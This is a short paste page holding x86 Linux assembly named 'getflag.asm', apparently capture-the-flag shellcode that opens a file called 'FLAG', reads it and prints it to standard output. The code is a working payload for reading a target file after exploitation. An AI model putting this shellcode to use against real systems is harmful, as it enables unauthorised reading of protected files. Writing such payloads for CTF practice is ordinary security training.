unnamed file

Text

getflag.asm

Guest

Download Edit

section .text
global _start
_start:
xor ecx, ecx
push ecx
push 0x47414c46
push $5
pop eax
mov ebx, esp
int $80 ; sys_open("FLAG", O_RDONLY)
push $3
mov edx, ecx
dec dl
mov ecx, ebx
mov ebx, eax
pop eax
int $80 ; sys_read(fd, buf, 255)
push $4
mov edx, eax
xor ebx, ebx
inc ebx
pop eax
int $80 ; sys_write(STDOUT, buf, len)
mov eax, ebx
dec ebx
int $80 ; exit(0)